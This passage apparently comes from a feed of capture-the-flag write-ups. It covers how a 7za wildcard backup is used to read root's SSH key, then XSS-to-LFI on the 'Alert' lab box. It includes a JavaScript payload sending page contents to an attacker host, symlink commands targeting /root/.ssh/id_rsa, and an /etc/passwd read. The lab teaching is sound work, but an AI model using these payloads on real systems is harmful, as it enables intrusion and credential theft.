&lt;p&gt;&lt;img src=&quot;./xanderrootcommands.png&quot; alt=&quot;xanderootcommands&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can run the &lt;strong&gt;/usr/bin/usage_management&lt;/strong&gt; command with elevated privileges&lt;/p&gt;
&lt;p&gt;Now we need to see if that command is useful for elevating our privileges&lt;/p&gt;
&lt;p&gt;First, let&apos;s see what kind of file it is&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file /usr/bin/usage_management
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since this is a compiled executable file, we won&apos;t be able to list its contents using &lt;code&gt;cat&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Anyway, let&apos;s run it first to see what it does&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo /usr/bin/usage_management
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./abackup.png&quot; alt=&quot;abackup&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It looks like a backup is being performed, but since we can&apos;t see the code running in the background, we don&apos;t know what&apos;s really happening&lt;/p&gt;
&lt;h1&gt;Reverse Engineering The File&lt;/h1&gt;
&lt;p&gt;To view the file&apos;s code, we&apos;re going to use a tool called &lt;strong&gt;Ghidra&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ghidratool.png&quot; alt=&quot;ghidratool&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./downloadfile.png&quot; alt=&quot;downloadfile&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unzip ghidra_12.2_PUBLIC_20261016.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cd ghidra_12.2_PUBLIC/
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;./ghidraRun &amp;amp;&amp;gt; /dev/null &amp;amp; disown
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./welcometoghidra.png&quot; alt=&quot;welcometoghidra&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First, we&apos;ll choose where to save our project&lt;/p&gt;
&lt;p&gt;To do this, click on &quot;File&quot; , then &quot;New Project&quot;, &quot;Non-Shared Project&quot;, and choose the path and the name you want to give it&lt;/p&gt;
&lt;p&gt;Now we need to import the file we want to analyze&lt;/p&gt;
&lt;p&gt;Since we don&apos;t have that file, we&apos;re going to host it on &lt;strong&gt;port 1234&lt;/strong&gt; using &lt;code&gt;Python3&lt;/code&gt; so we can download it from our machine&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /usr/bin
python3 -m http.server 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we download it from our machine using &lt;code&gt;wget&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget http://10.129.92.229:1234/usage_management
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have the file, let&apos;s go back to &lt;strong&gt;Ghidra&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click on File, then Import File, and select the &lt;strong&gt;usage_management&lt;/strong&gt; file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./thisfile.png&quot; alt=&quot;thisfile&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./thisisghidra.png&quot; alt=&quot;thisisghidra&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once inside, in the left section, we can see the functions&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./functions.png&quot; alt=&quot;functions&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then we select &lt;strong&gt;&quot;backupWebContent&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And we can see what it does from the inside&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./thisiswhatitdoes.png&quot; alt=&quot;thisiswhatitdoes&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From what we can see, the &lt;strong&gt;root&lt;/strong&gt; user navigates to the &lt;strong&gt;/var/www/html&lt;/strong&gt; directory and runs /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *&lt;/p&gt;
&lt;p&gt;This is a major security flaw because when the &lt;strong&gt;root&lt;/strong&gt; user adds the * at the end, it indicates that everything inside &lt;strong&gt;/var/www/html&lt;/strong&gt; is being executed&lt;/p&gt;
&lt;p&gt;With that in mind, let&apos;s see if we have write permissions for the &lt;strong&gt;/var/www/html&lt;/strong&gt; directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ls -la /var/www/html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./writepermission.png&quot; alt=&quot;writepermission&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, we have write permissions&lt;/p&gt;
&lt;h1&gt;Retrieving The Root User&apos;s id_rsa&lt;/h1&gt;
&lt;p&gt;Now, if we don&apos;t know what to do, we can use &lt;strong&gt;hacktricks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./explain.png&quot; alt=&quot;explaining&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we can see how to exploit this security flaw to obtain information from a file of our choice, in this case we can target &lt;strong&gt;/etc/shadow&lt;/strong&gt; or the &lt;strong&gt;root user&apos;s id_rsa file&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;But in my case, I&apos;ll choose the root user&apos;s id_rsa&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ln -s /root/.ssh/id_rsa id_rsa.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;touch @id_rsa.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./symboliclink.png&quot; alt=&quot;symboliclink&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see here, we&apos;ve created a &lt;strong&gt;symbolic link&lt;/strong&gt; to the root user&apos;s id_rsa&lt;/p&gt;
&lt;p&gt;Now all we have to do is run the script&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./finallyrunningthescript.png&quot; alt=&quot;finallyrunningthescript&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./rootusersprivatesshkey.png&quot; alt=&quot;rootsshkey&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now that we have obtained the root user&apos;s id_rsa, all that&apos;s left is to tweak it a bit and use it&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./rootidrsa.png&quot; alt=&quot;rootidrsa&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod 600 id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ssh -i id_rsa root@10.129.92.229
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./weareroot.png&quot; alt=&quot;weareroot&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And finally, we&apos;ve gained &lt;strong&gt;root access&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Alert</title><link>https://scriptos0.github.io/posts/alert/alert/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/alert/alert/</guid><description>Alert is an easy-difficulty Linux machine with a website to upload, view, and share markdown files. The site is vulnerable to cross-site scripting (XSS), which is exploited to access an internal page vulnerable to Arbitrary File Read and leveraged to gain access to a password hash. The hash is then cracked to reveal the credentials leveraged to gain SSH access to the target. Enumeration of processes running on the system shows a PHP file that is being executed regularly, which has excessive privileges for the management group our user is a member of and allows us to overwrite the file for code execution as root.</description><pubDate>Tue, 13 Oct 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;Let’s start by checking which TCP ports are open&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sS -p- --open --min-rate 5000 10.129.231.188 -vvv -n -Pn -oN allports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And as we can see, we have two services: &lt;strong&gt;SSH&lt;/strong&gt; and &lt;strong&gt;HTTP&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let’s perform service version detection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sVC -p22,80 10.129.231.188 -oN portscan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But in &lt;strong&gt;http-title&lt;/strong&gt;, we see a message: &lt;strong&gt;Did not follow redirect to http://alert.htb/&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This happens because our device doesn&apos;t know what “alert.htb” means.&lt;/p&gt;
&lt;p&gt;To fix this, let&apos;s add it to the /etc/hosts file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nvim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1        localhost
::1              localhost

10.129.231.188 alert.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s try to access the &lt;strong&gt;HTTP&lt;/strong&gt; service&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./http_service.png&quot; alt=&quot;http_service&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./webpage.png&quot; alt=&quot;webpage&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Web Service Enumeration&lt;/h1&gt;
&lt;p&gt;Now let&apos;s do some manual enumeration in the web service&lt;/p&gt;
&lt;p&gt;In the &lt;strong&gt;About Us&lt;/strong&gt; section, we can see an interesting message&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./aboutus.png&quot; alt=&quot;aboutus&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hello! We are Alert. Our service gives you the ability to view MarkDown. We are reliable, secure, fast and easy to use. If you experience any problems with our service, please let us know. Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours. Thank you for using our service!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this message, we can clearly see that the administrator is active and reviewing messages that we can send in the &lt;strong&gt;Contact Us&lt;/strong&gt; section&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./contactus.png&quot; alt=&quot;contactus&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But the most interesting section is in the &lt;strong&gt;Markdown Viewer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this section, users can upload an &lt;strong&gt;.md&lt;/strong&gt; file to the server&lt;/p&gt;
&lt;p&gt;With this in mind, let&apos;s create our own .md file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim test.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let&apos;s see if we can insert &lt;strong&gt;JavaScript&lt;/strong&gt; code using .md files&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
   alert(0);
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the file has been created, let&apos;s upload it to the server&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./mdfileuploaded.png&quot; alt=&quot;mdfileupload&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s click &lt;strong&gt;View Markdown&lt;/strong&gt; to see if the JavaScript code worked&lt;/p&gt;
&lt;h1&gt;XSS Found&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./xssfounded.png&quot; alt=&quot;xssfounded&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This alert confirms that JavaScript code has been injected, meaning this web service is vulnerable to &lt;strong&gt;XSS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;And in the lower right corner, we can see a button that lets us share the Markdown&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sharemarkdown.png&quot; alt=&quot;sharemarkdown&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We won&apos;t use that function right now because if the user we send the Markdown to were to open it, they would only see the &lt;strong&gt;0 alert&lt;/strong&gt; on their screen&lt;/p&gt;
&lt;p&gt;But we already have a powerful attack vector. What we could do with this vector is steal the administrator user&apos;s session cookies, but since cookies aren&apos;t used in this case, we&apos;ll perform an &lt;strong&gt;Information Disclosure&lt;/strong&gt; via XSS &lt;strong&gt;(Cross-site Scripting)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now we will perform a brute-force attack to enumerate system files and resources that are only accessible on the server side&lt;/p&gt;
&lt;p&gt;If we manage to find a file that is accessible only to the Administrator user or another system user, we can use our XSS to see what it contains&lt;/p&gt;
&lt;h1&gt;Server-Side Resource&lt;/h1&gt;
&lt;p&gt;To perform the brute-force attack, we&apos;ll use &lt;code&gt;ffuf&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://alert.htb/FUZZ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./bruteforceattack.png&quot; alt=&quot;brute-force&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The only interesting one is &lt;strong&gt;messages&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./noinfo.png&quot; alt=&quot;messages&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As we can see, we can&apos;t see anything, this is a clear indication that it&apos;s only accessible from the &lt;strong&gt;server side&lt;/strong&gt;. We&apos;ve already found a vector through which we can exploit our XSS&lt;/p&gt;
&lt;p&gt;Now let&apos;s start by creating our JavaScript file, which we&apos;ll use so that the administrator can run it once they open the .md file that links to that JavaScript file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim pwn.js
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is the script&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var req = new XMLHttpRequest();
req.open(&quot;GET&quot;, &quot;http://alert.htb/index.php?page=messages&quot;, false);
req.send();

var info = new XMLHttpRequest();
info.open(&quot;GET&quot;, &quot;http://10.10.15.41/?infoinB64=&quot; + btoa(req.responseText));
info.send();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This script ensures that the information we receive is in &lt;strong&gt;BASE64&lt;/strong&gt; format&lt;/p&gt;
&lt;p&gt;Now all we have to do is create the .md file that will point to the pwn.js resource, which will cause it to run as the user who opened the .md file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim lookathis.md
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is what the .md file contains&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://10.10.15.41/pwn.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now all we have to do is set up an &lt;strong&gt;HTTP&lt;/strong&gt; service in &lt;strong&gt;Python&lt;/strong&gt; on port 80, through which the information will be sent once the administrator clicks on our .md file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo python3 -m http.server 80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./sendingthefile.png&quot; alt=&quot;sendingthefile&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Then we click on &lt;strong&gt;Share Markdown&lt;/strong&gt;, and we&apos;ll share the link generated by the URL through the &lt;strong&gt;Contact Us&lt;/strong&gt; section so that the administrator can run the .md file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sendingthemaliciousfile.png&quot; alt=&quot;sendingthemaliciousfile&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./newdata.png&quot; alt=&quot;newdata&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Decoding Base64 Data&lt;/h1&gt;
&lt;p&gt;And as we can see, we&apos;ve retrieved the content that was stored in &lt;strong&gt;messages&lt;/strong&gt;, since the administrator user was the one who made the request through our script&lt;/p&gt;
&lt;p&gt;Now all we have to do is decode it, since it&apos;s in &lt;strong&gt;BASE64&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &apos;PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9ImNzcy9zdHlsZS5jc3MiPgogICAgPHRpdGxlPkFsZXJ0IC0gTWFya2Rvd24gVmlld2VyPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxuYXY+CiAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9YWxlcnQiPk1hcmtkb3duIFZpZXdlcjwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1jb250YWN0Ij5Db250YWN0IFVzPC9hPgogICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWFib3V0Ij5BYm91dCBVczwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1kb25hdGUiPkRvbmF0ZTwvYT4KICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/cGFnZT1tZXNzYWdlcyI+TWVzc2FnZXM8L2E+ICAgIDwvbmF2PgogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICA8aDE+TWVzc2FnZXM8L2gxPjx1bD48bGk+PGEgaHJlZj0nbWVzc2FnZXMucGhwP2ZpbGU9MjAyNC0wMy0xMF8xNS00OC0zNC50eHQnPjIwMjQtMDMtMTBfMTUtNDgtMzQudHh0PC9hPjwvbGk+PC91bD4KICAgIDwvZGl2PgogICAgPGZvb3Rlcj4KICAgICAgICA8cCBzdHlsZT0iY29sb3I6IGJsYWNrOyI+qSAyMDI0IEFsZXJ0LiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KICAgIDwvZm9vdGVyPgo8L2JvZHk+CjwvaHRtbD4KCg==&apos; | base64 -d | cat -l html &amp;gt; messages.html
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat messages.html
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And this is what we have&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;css/style.css&quot;&amp;gt;
    &amp;lt;title&amp;gt;Alert - Markdown Viewer&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;nav&amp;gt;
        &amp;lt;a href=&quot;index.php?page=alert&quot;&amp;gt;Markdown Viewer&amp;lt;/a&amp;gt;
        &amp;lt;a href=&quot;index.php?page=contact&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;
        &amp;lt;a href=&quot;index.php?page=about&quot;&amp;gt;About Us&amp;lt;/a&amp;gt;
        &amp;lt;a href=&quot;index.php?page=donate&quot;&amp;gt;Donate&amp;lt;/a&amp;gt;
        &amp;lt;a href=&quot;index.php?page=messages&quot;&amp;gt;Messages&amp;lt;/a&amp;gt;    &amp;lt;/nav&amp;gt;
    &amp;lt;div class=&quot;container&quot;&amp;gt;
        &amp;lt;h1&amp;gt;Messages&amp;lt;/h1&amp;gt;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&apos;messages.php?file=2024-03-10_15-48-34.txt&apos;&amp;gt;2024-03-10_15-48-34.txt&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;footer&amp;gt;
        &amp;lt;p style=&quot;color: black;&quot;&amp;gt;&amp;lt;A9&amp;gt; 2024 Alert. All rights reserved.&amp;lt;/p&amp;gt;
    &amp;lt;/footer&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we take a close look at the code, we can see an interesting &lt;strong&gt;.txt file&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see if we can list its contents&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./noinfox2.png&quot; alt=&quot;noinfox2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But once again, we don&apos;t have permission to see what&apos;s inside, so we&apos;ll have to access it the same way we did before&lt;/p&gt;
&lt;p&gt;Let&apos;s modify our script but now pointing to this .txt file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var req = new XMLHttpRequest();
req.open(
	&quot;GET&quot;,
	&quot;http://alert.htb/messages.php?file=2024-03-10_15-48-34.txt&quot;,
	false,
);
req.send();

var info = new XMLHttpRequest();
info.open(&quot;GET&quot;, &quot;http://10.10.15.41/?infoinB64=&quot; + btoa(req.responseText));
info.send();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now all that&apos;s left is to wait for the administrator to click on the &lt;strong&gt;.md&lt;/strong&gt; file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sendinganotherfile.png&quot; alt=&quot;sendinganotherfile&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But unfortunately, this file does not contain any information...&lt;/p&gt;
&lt;p&gt;But all is not lost! By using this new &lt;strong&gt;file parameter&lt;/strong&gt;, which points to &lt;strong&gt;system resources&lt;/strong&gt;, we can leave the current working directory and target more interesting files, such as &lt;strong&gt;/etc/passwd&lt;/strong&gt;&lt;/p&gt;
&lt;h1&gt;XSS To LFI&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./LFIURL.png&quot; alt=&quot;LFIURL&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now we&apos;ll modify our script again, come up with a new excuse so the administrator clicks on our .md file, and get the information contained in the /etc/passwd file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./etcpasswdfile.png&quot; alt=&quot;etcpasswdfile&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &apos;PHByZT5yb290Ong6MDowOnJvb3Q6L3Jvb3Q6L2Jpbi9iYXNoCmRhZW1vbjp4OjE6MTpkYWVtb246L3Vzci9zYmluOi91c3Ivc2Jpbi9ub2xvZ2luCmJpbjp4OjI6MjpiaW46L2JpbjovdXNyL3NiaW4vbm9sb2dpbgpzeXM6eDozOjM6c3lzOi9kZXY6L3Vzci9zYmluL25vbG9naW4Kc3luYzp4OjQ6NjU1MzQ6c3luYzovYmluOi9iaW4vc3luYwpnYW1lczp4OjU6NjA6Z2FtZXM6L3Vzci9nYW1lczovdXNyL3NiaW4vbm9sb2dpbgptYW46eDo2OjEyOm1hbjovdmFyL2NhY2hlL21hbjovdXNyL3NiaW4vbm9sb2dpbgpscDp4Ojc6NzpscDovdmFyL3Nwb29sL2xwZDovdXNyL3NiaW4vbm9sb2dpbgptYWlsOng6ODo4Om1haWw6L3Zhci9tYWlsOi91c3Ivc2Jpbi9ub2xvZ2luCm5ld3M6eDo5Ojk6bmV3czovdmFyL3Nwb29sL25ld3M6L3Vzci9zYmluL25vbG9naW4KdXVjcDp4OjEwOjEwOnV1Y3A6L3Zhci9zcG9vbC91dWNwOi91c3Ivc2Jpbi9ub2xvZ2luCnByb3h5Ong6MTM6MTM6cHJveHk6L2JpbjovdXNyL3NiaW4vbm9sb2dpbgp3d3ctZGF0YTp4OjMzOjMzOnd3dy1kYXRhOi92YXIvd3d3Oi91c3Ivc2Jpbi9ub2xvZ2luCmJhY2t1cDp4OjM0OjM0OmJhY2t1cDovdmFyL2JhY2t1cHM6L3Vzci9zYmluL25vbG9naW4KbGlzdDp4OjM4OjM4Ok1haWxpbmcgTGlzdCBNYW5hZ2VyOi92YXIvbGlzdDovdXNyL3NiaW4vbm9sb2dpbgppcmM6eDozOTozOTppcmNkOi92YXIvcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1uZXR3b3JrOng6MTAwOjEwMjpzeXN0ZW1kIE5ldHdvcmsgTWFuYWdlbWVudCwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4Kc3lzdGVtZC1yZXNvbHZlOng6MTAxOjEwMzpzeXN0ZW1kIFJlc29sdmVyLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLXRpbWVzeW5jOng6MTAyOjEwNDpzeXN0ZW1kIFRpbWUgU3luY2hyb25pemF0aW9uLCwsOi9ydW4vc3lzdGVtZDovdXNyL3NiaW4vbm9sb2dpbgptZXNzYWdlYnVzOng6MTAzOjEwNjo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c2xvZzp4OjEwNDoxMTA6Oi9ob21lL3N5c2xvZzovdXNyL3NiaW4vbm9sb2dpbgpfYXB0Ong6MTA1OjY1NTM0Ojovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KdHNzOng6MTA2OjExMTpUUE0gc29mdHdhcmUgc3RhY2ssLCw6L3Zhci9saWIvdHBtOi9iaW4vZmFsc2UKdXVpZGQ6eDoxMDc6MTEyOjovcnVuL3V1aWRkOi91c3Ivc2Jpbi9ub2xvZ2luCnRjcGR1bXA6eDoxMDg6MTEzOjovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KbGFuZHNjYXBlOng6MTA5OjExNTo6L3Zhci9saWIvbGFuZHNjYXBlOi91c3Ivc2Jpbi9ub2xvZ2luCnBvbGxpbmF0ZTp4OjExMDoxOjovdmFyL2NhY2hlL3BvbGxpbmF0ZTovYmluL2ZhbHNlCmZ3dXBkLXJlZnJlc2g6eDoxMTE6MTE2OmZ3dXBkLXJlZnJlc2ggdXNlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KdXNibXV4Ong6MTEyOjQ2OnVzYm11eCBkYWVtb24sLCw6L3Zhci9saWIvdXNibXV4Oi91c3Ivc2Jpbi9ub2xvZ2luCnNzaGQ6eDoxMTM6NjU1MzQ6Oi9ydW4vc3NoZDovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk5Ojk5OTpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KYWxiZXJ0Ong6MTAwMDoxMDAwOmFsYmVydDovaG9tZS9hbGJlcnQ6L2Jpbi9iYXNoCmx4ZDp4Ojk5ODoxMDA6Oi92YXIvc25hcC9seGQvY29tbW9uL2x4ZDovYmluL2ZhbHNlCmRhdmlkOng6MTAwMToxMDAyOiwsLDovaG9tZS9kYXZpZDovYmluL2Jhc2gKPC9wcmU+Cg==&apos; | base64 -d &amp;gt; etc_passwd.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat etc_passwd.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
